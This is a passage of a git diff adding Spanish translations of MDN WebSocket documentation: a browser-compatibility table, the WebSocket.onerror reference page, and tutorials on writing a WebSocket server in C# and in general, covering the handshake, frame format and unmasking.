+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Sub-protocol support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("7.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Sub-protocol support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("7.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Starting in Gecko 6.0 {{geckoRelease("6.0")}}, the constructor is prefixed; you will need to use <code>MozWebSocket()</code>: <code>var mySocket = new MozWebSocket("http://www.example.com/socketserver");</code></p>
+
+<p>The <code>extensions</code> attribute was not supported in Gecko until Gecko 8.0.</p>
+
+<p>Prior to Gecko 11.0 {{geckoRelease("11.0")}}, outbound messages sent using the <a href="#send()">send()</a> method were limited to 16 MB. They can now be up to 2 GB in size.</p>
+
+<h2 id="Referencias_adicionales">Referencias adicionales</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications">Writing WebSocket client applications</a></li>
+</ul>
diff --git a/files/es/web/api/websocket/onerror/index.html b/files/es/web/api/websocket/onerror/index.html
new file mode 100644
index 0000000000..69a523b1b6
--- /dev/null
+++ b/files/es/web/api/websocket/onerror/index.html
@@ -0,0 +1,50 @@
+---
+title: WebSocket.onerror
+slug: Web/API/WebSocket/onerror
+tags:
+  - API
+  - Error
+  - Propiedad
+  - Referencia
+  - Web API
+  - WebSocket
+translation_of: Web/API/WebSocket/onerror
+---
+<p>{{APIRef("Web Sockets API")}}</p>
+
+<p>La propiedad <strong><code>WebSocket.onerror</code></strong>, del tipo {{domxref("EventHandler")}}, será llamada cuando se dé un error. Esta llamada recibirá un tipo {{domxref("Event")}} como argumento.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>aWebSocket</em>.onerror = function(event) {
+  console.error("Error en el WebSocket detectado:", event);
+};</pre>
+
+<h2 id="Valor">Valor</h2>
+
+<p>Un {{domxref("EventListener")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#handler-websocket-onerror', 'WebSocket: onerror')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.WebSocket.onerror")}}</p>
diff --git a/files/es/web/api/websockets_api/escribiendo_servidor_websocket/index.html b/files/es/web/api/websockets_api/escribiendo_servidor_websocket/index.html
new file mode 100644
index 0000000000..333e8e8830
--- /dev/null
+++ b/files/es/web/api/websockets_api/escribiendo_servidor_websocket/index.html
@@ -0,0 +1,244 @@
+---
+title: Escribiendo un servidor WebSocket en C#
+slug: Web/API/WebSockets_API/Escribiendo_servidor_WebSocket
+tags:
+  - HTML5
+  - Tutorial
+  - WebSockets
+translation_of: Web/API/WebSockets_API/Writing_WebSocket_server
+---
+<h2 id="Introducción">Introducción</h2>
+
+<p>Si deseas utilizar la API WebSocket, es conveniente si tienes un servidor. En este artículo te mostraré como puedes escribir uno en C#. Tú puedes hacer esto en cualquier lenguaje del lado del servidor, pero para mantener las cosas simples y más comprensibles, elegí el lenguaje de Microsoft<span style="line-height: 1.5;">.</span></p>
+
+<p>Este servidor se ajusta a <a href="http://tools.ietf.org/html/rfc6455" title="http://tools.ietf.org/html/rfc6455">RFC 6455</a> por lo que solo manejará las conexiones de Chrome version 16, Firefox 11, IE 10 and superiores.</p>
+
+<h2 id="Primeros_pasos">Primeros pasos</h2>
+
+<p>WebSocket se comunica a través de conexiones <a href="https://es.wikipedia.org/wiki/Transmission_Control_Protocol" title="https://es.wikipedia.org/wiki/Transmission_Control_Protocol">TCP (Transmission Control Protocol)</a>, afortunadamente C# tiene una clase <a href="http://msdn.microsoft.com/es-es/library/system.net.sockets.tcplistener.aspx" title="http://msdn.microsoft.com/en-us/library/system.net.sockets.tcplistener.aspx">TcpListener</a> la cual hace lo que su nombre sugiere. Esta se encuentra en el namespace <em>System.Net.Sockets</em>.</p>
+
+<div class="note">
+<p><span style="line-height: 1.572;">Es una buena idea usar la instrucción <code>using</code></span><span style="line-height: 1.572;"> para escribir menos. Eso significa que no tendrás que re escribir el namespace de nuevo en cada ocasión.</span></p>
+</div>
+
+<h3 id="TcpListener">TcpListener</h3>
+
+<p>Constructor:</p>
+
+<pre class="brush: cpp">TcpListener(System.Net.IPAddress localaddr, int port)</pre>
+
+<p><code>localaddr</code> especifica la IP a escuchar y <code>port</code> especifica el puerto.</p>
+
+<div class="note">
+<p>Para crear un objeto <code>IPAddress</code> desde un <code>string</code>, usa el método estático <code>Parse</code> de <code>IPAddres.</code></p>
+</div>
+
+<p><span style="line-height: 1.572;">Métodos</span><span style="line-height: 1.572;">:</span></p>
+
+<ul>
+ <li><code><span style="line-height: 1.572;">Start()</span></code></li>
+ <li><span style="line-height: 1.572;">S<code>ystem.Net.Sockets.<a href="http://msdn.microsoft.com/en-us/library/system.net.sockets.tcpclient.aspx" title="http://msdn.microsoft.com/en-us/library/system.net.sockets.tcpclient.aspx">TcpClient</a> AcceptTcpClient()</code><br>
+  Espera por una conexión TCP, la acepta y la devuelve como un objeto TcpClient.</span></li>
+</ul>
+
+<p><span style="line-height: 1.572;">Aquí está como utilizar lo que hemos aprendido:</span></p>
+
+<pre class="brush: cpp">​using System.Net.Sockets;
+using System.Net;
+using System;
+
+class Server {
+    public static void Main() {
+        TcpListener server = new TcpListener(IPAddress.Parse("127.0.0.1"), 80);
+
+        server.Start();
+        Console.WriteLine("El server se ha iniciado en 127.0.0.1:80.{0}Esperando una conexión...", Environment.NewLine);
+
+        TcpClient client = server.AcceptTcpClient();
+
+        Console.WriteLine("Un cliente conectado.");
+    }
+}
+</pre>
+
+<h3 id="TcpClient"><span style="line-height: 1.572;">TcpClient</span></h3>
+
+<p>Métodos:</p>
+
+<ul>
+ <li><code>System.Net.Sockets.<a href="http://msdn.microsoft.com/en-us/library/system.net.sockets.networkstream.aspx" title="http://msdn.microsoft.com/en-us/library/system.net.sockets.networkstream.aspx">NetworkStream</a> GetStream()</code><br>
+  Obtiene el stream del canal de comunicación. Ambos lados del canal tienen capacidad de lectura y escritura.</li>
+</ul>
+
+<p>Propiedades:</p>
+
+<ul>
+ <li><code>int Available</code><br>
+  Este es el número de bytes de datos que han sido enviados. El valor es cero hasta que <code><em>NetworkStream.DataAvailable</em></code> es <code><em>true</em></code>.</li>
+</ul>
+
+<h3 id="NetworkStream">NetworkStream</h3>
+
+<p>Métodos:</p>
+
+<pre class="brush: cpp">Write(Byte[] buffer, int offset, int size)</pre>
+
+<p>Escribe bytes desde el <em>buffer;</em> el <em>offset</em> y el <em>size</em> determinan la longitud del mensaje.</p>
+
+<pre><span class="brush: cpp" style="line-height: 1.572;">Read(Byte[] buffer, int offset, int size)</span></pre>
+
+<p>Lee bytes al <em>buffer;</em> el <em>offset</em> y el <em>size </em>determinan la longitud del mensaje.</p>
+
+<p>Ampliemos nuestro ejemplo anterior.</p>
+
+<pre class="brush: cpp">TcpClient client = server.AcceptTcpClient();
+
+Console.WriteLine("Un cliente conectado.");
+
+NetworkStream stream = client.GetStream();
+
+//enter to an infinite cycle to be able to handle every change in stream
+while (true) {
+    while (!stream.DataAvailable);
+
+    Byte[] bytes = new Byte[client.Available];
+
+    stream.Read(bytes, 0, bytes.Length);
+}</pre>
+
+<h2 id="Handshaking">Handshaking</h2>
+
+<p>Cuando un cliente se conecta al servidor, envía una solicitud GET para actualizar la conexión al WebSocket desde una simple petición HTTP. Esto es conocido como <em>handshaking</em>.</p>
+
+<p>Este código de ejemplo detecta el GET desde el cliente. Nota que esto bloqueará hasta los 3 primeros bytes del mensaje disponible. Soluciones alternativas deben ser investigadas para ambientes de producción.</p>
+
+<pre><code>using System.Text;
+using System.Text.RegularExpressions;
+
+while(client.Available &lt; 3)
+{
+   // wait for enough bytes to be available
+}
+
+Byte[] bytes = new Byte[client.Available];
+
+stream.Read(bytes, 0, bytes.Length);
+
+//translate bytes of request to string
+String data = Encoding.UTF8.GetString(bytes);
+
+if (Regex.IsMatch(data, "^GET")) {
+
+} else {
+
+}</code></pre>
+
+<p>Esta respuesta es fácil de construir, pero puede ser un poco díficil de entender. La explicación completa del <em>handshake </em>al servidor puede encontrarse en  <a href="https://developer.mozilla.org/es/docs/WebSockets-840092-dup/RFC%206455,%20section%204.2.2">RFC 6455, section 4.2.2</a>. Para nuestros propósitos, solo construiremos una respuesta simple.</p>
+
+<p>Debes:</p>
+
+<ol>
+ <li>Obtener el valor de "<em>Sec-WebSocket-Key" </em>sin espacios iniciales ni finales de el encabezado de la solicitud</li>
+ <li>Concatenarlo con "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"</li>
+ <li>Calcular el código SHA-1 y Base64</li>
+ <li>Escribe el valor <em>Sec-WebSocket-Accept</em> en el encabezado como parte de la respuesta HTTP.</li>
+</ol>
+
+<pre class="brush: cpp">if (new Regex("^GET").IsMatch(data)) {
+    Byte[] response = Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" + Environment.NewLine
+        + "Connection: Upgrade" + Environment.NewLine
+        + "Upgrade: websocket" + Environment.NewLine
+        + "Sec-WebSocket-Accept: " + Convert.ToBase64String (
+            SHA1.Create().ComputeHash (
+                Encoding.UTF8.GetBytes (
+                    new Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups[1].Value.Trim() + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
+                )
+            )
+        ) + Environment.NewLine
+        + Environment.NewLine);
+
+    stream.Write(response, 0, response.Length);
+}
+</pre>
+
+<h2 id="Decoding_messages">Decoding messages</h2>
+
+<p>Luego de un <em>handshake</em> exitoso el cliente puede enviar mensajes al servidor, pero estos serán codificados.</p>
+
+<p>Si nosotros enviamos "MDN", obtendremos estos bytes:</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>129</td>
+   <td>131</td>
+   <td>61</td>
+   <td>84</td>
+   <td>35</td>
+   <td>6</td>
+   <td>112</td>
+   <td>16</td>
+   <td>109</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>- 129:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">FIN (¿Es el mensaje completo?)</th>
+   <th scope="col">RSV1</th>
+   <th scope="col">RSV2</th>
+   <th scope="col">RSV3</th>
+   <th scope="col">Opcode</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+   <td>0x1=0001</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>FIN: Puedes enviar tu mensaje en marcos, pero ahora debe mantener las cosas simples.<br>
+ <span style="line-height: 1.572;">Opcode </span><em>0x1</em><span style="line-height: 1.572;"> significa que es un texto. </span><a href="http://tools.ietf.org/html/rfc6455#section-5.2" style="line-height: 1.572;" title="http://tools.ietf.org/html/rfc6455#section-5.2">Lista completa de Opcodes</a></p>
+
+<p>- 131:</p>
+
+<p>Si el segundo byte menos 128 se encuentra entre 0 y 125, esta es la longitud del mensaje. Si es 126, los siguientes 2 bytes (entero sin signo de 16 bits), si es 127, los siguientes 8 bytes (entero sin signo de 64 bits) son la longitud.</p>
+
+<div class="note">
+<p>Puedo tomar 128, porque el primer bit siempre es 1.</p>
+</div>
+
+<p>- 61, 84, 35 y 6 son los bytes de la clave a decodificar. Cambian en cada oportunidad.</p>
+
+<p>- Los bytes codificados restantes son el mensaje<span style="line-height: 1.572;">.</span></p>
+
+<h3 id="Algoritmo_de_decodificación">Algoritmo de decodificación</h3>
+
+<p>byte decodificado = byte codificado XOR (posición del byte codificado Mod 4) byte de la clave</p>
+
+<p>Ejemplo en C#:</p>
+
+<pre class="brush: cpp">Byte[] decoded = new Byte[3];
+Byte[] encoded = new Byte[3] {112, 16, 109};
+Byte[] key = Byte[4] {61, 84, 35, 6};
+
+for (int i = 0; i &lt; encoded.Length; i++) {
+    decoded[i] = (Byte)(encoded[i] ^ key[i % 4]);
+}</pre>
+
+<h2 id="Relacionado">Relacionado</h2>
+
+<ul>
+ <li><a href="/es/docs/WebSockets/Writing_WebSocket_servers">Escribiendo servidores WebSocket</a></li>
+</ul>
+
+<div id="cke_pastebin" style="position: absolute; top: 2209.23px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"> </div>
diff --git a/files/es/web/api/websockets_api/escribiendo_servidores_con_websocket/index.html b/files/es/web/api/websockets_api/escribiendo_servidores_con_websocket/index.html
new file mode 100644
index 0000000000..1261f75bec
--- /dev/null
+++ b/files/es/web/api/websockets_api/escribiendo_servidores_con_websocket/index.html
@@ -0,0 +1,246 @@
+---
+title: Escribir servidores WebSocket
+slug: Web/API/WebSockets_API/Escribiendo_servidores_con_WebSocket
+translation_of: Web/API/WebSockets_API/Writing_WebSocket_servers
+---
+<p>{{gecko_minversion_header("2")}}</p>
+
+<h2 id="Introducción">Introducción</h2>
+
+<p>Un servidor WebSocket es simplemente una aplicación TCP que escucha en cualquier puerto de un servidor que sigue un protocolo específico. La tarea de crear un servidor propio personalizado suele asustar a los desarrolladores, sin embargo puede resultar muy fácil implementar un servidor WebSocket en la plataforma que elijas.</p>
+
+<p>Un servidor WebSocket puede ser escrito en cualquier lenguaje de programación Server-Side que sea soporte <a href="https://en.wikipedia.org/wiki/Berkeley_sockets">Berkeley Sockets</a>, como por ejemplo C++ o Python o inclusive PHP y JavaScript para servidores. Este no va a ser un tutorial para ningún lenguaje espefícamente sino que te ayudará a escribir tu propio servidor.<br>
+ <br>
+ Necesitarás conocer como trabaja el protocolo HTTP y una experiencia intermedia en programación. Dependiendo de las capacidades de tu lenguaje puede ser necesario tener conocimientos en sockets TCP. Esta guía te dará el conocimiento necesario para escribir un servidor con WebSocket.</p>
+
+<div class="note">
+<p>Lea las últimas especificaciones oficiales de WebSocket <a href="http://datatracker.ietf.org/doc/rfc6455/?include_text=1">RFC 6455</a>. Las secciones 1 y 4-7 son especialmente interesantes para personas que deseen implementar servidores. La sección 10 abarca temas de seguridad y definitivamente deberías leerla antes de exponer tu servidor a la red.</p>
+</div>
+
+<p>Un servidor WebSocket es explicado a un muy bajo nivel aquí. Los servidores WebSocket usualmente estan separados y especializados (por una cuestión de balance de cargas y otra razones prácticas), por lo tanto deberías usar un <a href="https://en.wikipedia.org/wiki/Reverse_proxy">Reverse Proxy</a> (semejante a un servidor HTTP común) casi siempre para detectar los Handshakes de WebSocket, preprocesarlos, y reenviar los datos de los clientes al servidor WebSocket real.<br>
+  </p>
+
+<h2 id="Paso_1_El_Handshake_del_WebSocket"><a name="Handshake">Paso 1: El Handshake del WebSocket </a></h2>
+
+<p>Antes que nada, el servidor debe escuchar las conexiones entrantes usando un socket TCP estandar. Dependiendo de tu plataforma, esto puede ser manejado por tí. Por ejemplo asumamos que tu servidor esta escuchando la dirección example.com en el puerto 8000, y tu socket en el servidor responde a la petición GET con /chat.</p>
+
+<div class="warning">
+<p><strong>Advertencia: </strong>El servidor puede escuchar cualquier puerto que elijas, pero si elijes un puerto diferente al 80 o 443 podría haber problemas con los firewalls y proxies. Suele suceder con el puerto 443 tambien pero para eso se necesita un conexión segura (TLS/SSL). También se debe aclarar que la mayoría de los navegadores (como Firefox 8 o superiores) no permiten conexiones a servidores WebSocket sin seguridad que se realicen desde páginas web con seguridad (HTTPS). </p>
+</div>
+
+<p>El Handshake es el puente desde HTTP a WS. En el Handshake se negocian los detalles de la conexión y cualquier de las partes pueden abandonar el proceso antes de completar dicha conexión si los términos no son favorables. El servidor debe ser cuidadoso al analizar lo que el cliente pide, de lo contrario podrían introducirse problemas de seguridad.</p>
+
+<h3 id="Petición_de_Handshake_en_el_cliente">Petición de Handshake en el cliente</h3>
+
+<p>A pesar de que estamos creando un servidor, un cliente es quien tiene que comenzar el proceso de Handshake de WebSocket. Entonces tú tienes que saber cómo interpretar la petición del cliente. El cliente enviará una linda petición HTTP estandar que lucirá algo asi (la versión del HTTP debe ser 1.1 o mayor y el método debe ser GET):</p>
+
+<pre>GET /chat HTTP/1.1
+Host: example.com:8000
+<strong>Upgrade: websocket</strong>
+<strong>Connection: Upgrade</strong>
+Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
+Sec-WebSocket-Version: 13
+
+</pre>
+
+<p>El cliente puede solicitar aquí extensiones y/o sub protocolos; vea <a href="#Miscellaneous">Misceláneos</a> para más detalles. También, cabeceras comunes como <code>User-Agent</code>, <code>Referer</code>, <code>Cookie</code>, or cabeceras de autenticación podrían ser incluidos. Haz lo que quieras con ellos; no pertencen a WebSocket. También puedes ignorarlos. En muchas configuraciones comunes, un proxy inverso ya ha tratado con ellos.</p>
+
+<p>Si alguna cabecera no se entiende o posee un valor incorrecto, el servidor debe responder "<a href="https://developer.mozilla.org/es/docs/HTTP/Response_codes#400">400 Bad Request</a>" e inmediatamente cerrar la conexión. Normalmente, también puede dar la razón porque falló el <em>handshake</em> en el cuerpo de la respuesta HTTP, pero el mensaje podría no ser mostrado (el browser no lo muestra). Si el servidor no comprende que la versión del WebSockets, debería enviar una cabecera <code>Sec-WebSocket-Version</code> que contenga la(s) versión(es) no entendidas. (Esta guía explica v13, la más nueva). Ahora, vamos a ver la cabecera más curiosa, <code>Sec-WebSocket-Key</code>.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> Todos los <strong>navegadores</strong> deben enviar una <a href="https://developer.mozilla.org/es/docs/HTTP/Access_control_CORS#Origin"><code>cabecera Origin</code></a>. Tu puedes usar esta cabecera por seguridad (revisando por el mismo origen, listas blancas/ listas negras, etc.) y enviar un <a href="https://developer.mozilla.org/es/docs/HTTP/Response_codes#403">403 Forbidden</a> si no te gusta lo que ves. Sin embargo, se advierte que los agentes no navegadores pueden enviar un falso <code>Origin</code>.  La mayoría de las aplicaciones rechazaran las solicitudes sin esta cabecera.</p>
+</div>
+
+<div class="note">
+<p><strong>Tip:</strong> The request-uri (<code>/chat</code> here) has no defined meaning in the spec. So many people cleverly use it to let one server handle multiple WebSocket applications. For example, <code>example.com/chat</code> could invoke a multiuser chat app, while <code>/game</code> on the same server might invoke a multiplayer game.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> <a href="https://developer.mozilla.org/en-US/docs/HTTP/Response_codes">Regular HTTP status codes</a> can only be used before the handshake. After the handshake succeeds, you have to use a different set of codes (defined in section 7.4 of the spec).</p>
+</div>
+
+<h3 id="Respuesta_de_Handshake_del_servidor">Respuesta de Handshake del servidor</h3>
+
+<p>Después de la petición, el servidor debería enviar una linda respuesta (aunque todavía en formato HTTP) que se verá asi (hay que recordar que la cabecera termina con \r \n y agrega un \r \n extra después del último):</p>
+
+<pre><strong>HTTP/1.1 101 Switching Protocols</strong>
+Upgrade: websocket
+Connection: Upgrade
+<strong>Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
+
+</strong></pre>
+
+<p>Adicionalmente, el servidor puede decidir respecto de las solicitudes "extension/subprotocol" en este punto (ver <a href="#Miscellaneous">Miscelláneos</a> para más detalles). La cabecera <code>Sec-WebSocket-Accept</code> es interesante. El servidor debe derivarla a partir de la cabecera <code>Sec-WebSocket-Key</code> enviada anteriormente por el cliente. Para lograr esto se deben concatenar la cabecera del cliente<span style="line-height: 1.5em;"> </span><code style="font-size: 14px;">Sec-WebSocket-Key</code><span style="line-height: 1.5em;"> y el string "</span><code style="font-size: 14px;">258EAFA5-E914-47DA-95CA-C5AB0DC85B11</code><span style="line-height: 1.5em;">" (es un "</span><a href="https://en.wikipedia.org/wiki/Magic_string" style="line-height: 1.5em;">magic string</a><span style="line-height: 1.5em;">"), calcular el </span><a href="https://en.wikipedia.org/wiki/SHA-1" style="line-height: 1.5em;">hash SHA-1</a><span style="line-height: 1.5em;"> del resultado y devolver el string codificado en</span><span style="line-height: 1.5em;"> </span><a href="https://en.wikipedia.org/wiki/Base64" style="line-height: 1.5em;">base64</a><span style="line-height: 1.5em;"> de este hash.</span></p>
+
+<div class="note">
+<p><strong>FYI:</strong> Este aparentemente complicado e innecesario proceso se realiza de manera que sea obvio para el cliente si el servidor soporta o noWebSockets. Esto es importante de realizar, ya que podrían crearse problemas de seguridad si el servidor acepta conexiones WebSockets pero interpreta los datos como solicitudes HTTP.</p>
+</div>
+
+<p>Así, si la cabecera <code>Sec-WebSocket-Key</code> era "<code>dGhlIHNhbXBsZSBub25jZQ==</code>", la correspondiente respuesta <code>Sec-WebSocket-Accept</code> será "<code>s3pPLMBiTxaQ9kYGzzhZRbK+xOo=</code>". Una vez que el servidor envía estas cabeceras, el "handshake" se considera completo y puedes comenzar a intercambiar datos.</p>
+
+<div class="note">
+<p>El servidor puede enviar otras cabeceras como Set-Cookie, o solicitar autenticación o redirigir mediante otros status codes antes de responder al handshake.</p>
+</div>
+
+<h3 id="Llevando_registro_de_los_clientes">Llevando registro de los clientes</h3>
+
+<p>Esto no está directamente relacionado con el protocolo WebSocket, pero no está de más mencionarlo: tu servidor debe llevar el registro de los sockets de los clientes, de manera de no realizar handshakes constantemente con los clientes que ya han completado este proceso. La misma dirección IP cliente puede intentar conectarse múltiples veces (pero el servidor puede denegar la conexión si se intentan demasiadas conexiones con el objetivo de evitar ataques <a href="https://en.wikipedia.org/wiki/Denial_of_service">ataques DoS</a>).</p>
+
+<h2 id="Paso_2_Intercambiando_Data_Frames">Paso 2: Intercambiando Data Frames</h2>
+
+<p>Tanto el cliente como el servidor puede decidir enviar un mensaje en cualquier momento — ese es el encanto de los WebSockets. Sin embargo, extraer información de esos denominados "frames" o tramas de datos no es una experiencia muy mágica. Aunque todos los frames siguen el mismo formato específico, los datos que van del cliente al servidor se enmascaran utilizando el <a href="https://en.wikipedia.org/wiki/XOR_cipher">cifrado XOR</a> (con una clave de 32 bits). La sección 5 de la especificación describe esto en detalle.</p>
+
+<h3 id="Formato">Formato</h3>
+
+<p>Cada trama de datos (desde el cliente al servidor o viceversa) sigue este mismo formato:</p>
+
+<pre style="float: left; margin-right: 20px;"> 0                   1                   2                   3
+ 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
++-+-+-+-+-------+-+-------------+-------------------------------+
+|F|R|R|R| opcode|M| Payload len |    Extended payload length    |
+|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
+|N|V|V|V|       |S|             |   (if payload len==126/127)   |
+| |1|2|3|       |K|             |                               |
++-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
+|     Extended payload length continued, if payload len == 127  |
++ - - - - - - - - - - - - - - - +-------------------------------+
+|                               |Masking-key, if MASK set to 1  |
++-------------------------------+-------------------------------+
+| Masking-key (continued)       |          Payload Data         |
++-------------------------------- - - - - - - - - - - - - - - - +
+:                     Payload Data continued ...                :
++ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
+|                     Payload Data continued ...                |
++---------------------------------------------------------------+</pre>
+
+<p>Los RSV1-3 se pueden ignorar, son para las extensiones.</p>
+
+<p>El bit MASK simplemente indica si el mensaje está codificado. Los mensajes del cliente deben estar enmascarados, por lo que tu servidor debe esperar que valga 1. (De hecho, la <a href="http://tools.ietf.org/html/rfc6455#section-5.1">sección 5.1 de las espeficicaciones</a>  dice que tu servidor debe desconectarse de un cliente si ese cliente envía un mensaje sin enmascarar). Cuando se envía una trama al cliente, no lo ocultes y no pongas el bit de la máscara. Te explicaremos el enmascaramiento más tarde. <em>Nota: Tienes que enmascarar los mensajes incluso cuando uses un socket seguro.</em></p>
+
+<p>El campo opcode define cómo interpretar los datos de la carga útil:<code style="font-style: normal; line-height: 1.5;">0x0</code><span style="line-height: 1.5;"> </span><span style="line-height: 1.5;">para continuar,</span><span style="font-family: courier new,andale mono,monospace; line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">0x1</code><span style="line-height: 1.5;"> para texto (que siempre se codifica con UTF-8), </span><code style="font-style: normal; line-height: 1.5;">0x2</code><span style="line-height: 1.5;"> para datos binarios, otros llamados "códigos de control" se explican más tarde. En esta versión de WebSockets, de <code>0x3</code> a <code>0x7</code> y de <code>0xB</code> a <code>0xF</code> no tienen significado.</span></p>
+
+<p>El bit FIN indica si este es el último mensaje de una serie. Si es 0, el servidor seguirá escuchando más partes del mensaje; de lo contrario, el servidor debería considerar el mensaje entregado. Más sobre esto después.</p>
+
+<h3 id="Decoding_Payload_Length">Decoding Payload Length</h3>
+
+<p>To read the payload data, you must know when to stop reading. That's why the payload length is important to know. Unfortunately, this is somewhat complicated. To read it, follow these steps:</p>
+
+<ol>
+ <li>Read bits 9-15 (inclusive) and interpret that as an unsigned integer. If it's 125 or less, then that's the length; you're <strong>done</strong>. If it's 126, go to step 2. If it's 127, go to step 3.</li>
+ <li>Read the next 16 bits and interpret those as an unsigned integer. You're <strong>done</strong>.</li>
+ <li>Read the next 64 bits and interpret those as an unsigned integer. You're <strong>done</strong>.</li>
+</ol>
+
+<h3 id="Reading_and_Unmasking_the_Data">Reading and Unmasking the Data</h3>
+
+<p>If the MASK bit was set (and it should be, for client-to-server messages), read the next 4 octets (32 bits); this is the masking key. <span style="line-height: 1.5;">Once the payload length and masking key is decoded, you can go ahead and read that number of bytes from the socket. Let's call the data <strong>ENCODED</strong>, and the key <strong>MASK</strong>. To get <strong>DECODED</strong>, loop through the octets (bytes a.k.a. characters for text data) of <strong>ENCODED</strong> and XOR the octet with the (i modulo 4)th octet of MASK. In pseudo-code (that happens to be valid JavaScript):</span></p>
+
+<pre>var DECODED = "";
+for (var i = 0; i &lt; ENCODED.length; i++) {
+    DECODED[i] = ENCODED[i] ^ MASK[i % 4];
+<span style="line-height: 1.5;">}</span></pre>
+
+<p><span style="line-height: 1.5;">Now you can figure out what <strong>DECODED</strong> means depending on your application.</span></p>
+
+<h3 id="Message_Fragmentation">Message Fragmentation</h3>
+
+<p>The FIN and opcode fields work together to send a message split up into separate frames.  This is called message fragmentation. Fragmentation is only available on opcodes <code>0x0</code> to <code>0x2</code>.</p>
+
+<p><span style="line-height: 1.5;">Recall that the opcode tells what a frame is meant to do. If it's <code>0x1</code>, the payload is text. If it's <code>0x2</code>, the payload is binary data.</span><span style="line-height: 1.5;"> However, if it's </span><code style="font-style: normal; line-height: 1.5;">0x0,</code><span style="line-height: 1.5;"> the frame is a continuation frame. This means the server should concatenate the frame's payload to the last frame it received from that client.</span><span style="line-height: 1.5;"> Here is a rough sketch, in which a server reacts to a client sending text messages. The first message is sent in a single frame, while the second message is sent across three frames. FIN and opcode details are shown only for the client:</span></p>
+
+<pre style="font-size: 14px;"><strong>Client:</strong> FIN=1, opcode=0x1, msg="hello"
+<strong>Server:</strong> <em>(process complete message immediately) </em>Hi.
+<strong>Client:</strong> FIN=0, opcode=0x1, msg="and a"
+<strong>Server:</strong> <em>(listening, new message containing text started)</em>
+<strong>Client:</strong> FIN=0, opcode=0x0, msg="happy new"
+<strong>Server:</strong> <em>(listening, payload concatenated to previous message)</em>
+<strong>Client:</strong> FIN=1, opcode=0x0, msg="year!"
+<strong>Server:</strong> <em>(process complete message) </em>Happy new year to you too!</pre>
+
+<p>Notice the first frame contains an entire message (has <code>FIN=1</code> and <code>opcode!=0x0</code>), so the server can process or respond as it sees fit. The second frame sent by the client has a text payload (<code>opcode=0x1</code>), but the entire message has not arrived yet (<code>FIN=0</code>). All remaining parts of that message are sent with continuation frames (<code>opcode=0x0</code>), and the final frame of the message is marked by <code>FIN=1</code>. <a href="http://tools.ietf.org/html/rfc6455#section-5.4">Section 5.4 of the spec</a> describes message fragmentation.</p>
+
+<h2 id="Pings_and_Pongs_The_Heartbeat_of_WebSockets">Pings and Pongs: The Heartbeat of WebSockets</h2>
+
+<p>At any point after the handshake, either the client or the server can choose to send a ping to the other party. When the ping is received, the recipient must send back a pong as soon as possible. You can use this to make sure that the client is still connected, for example.</p>
+
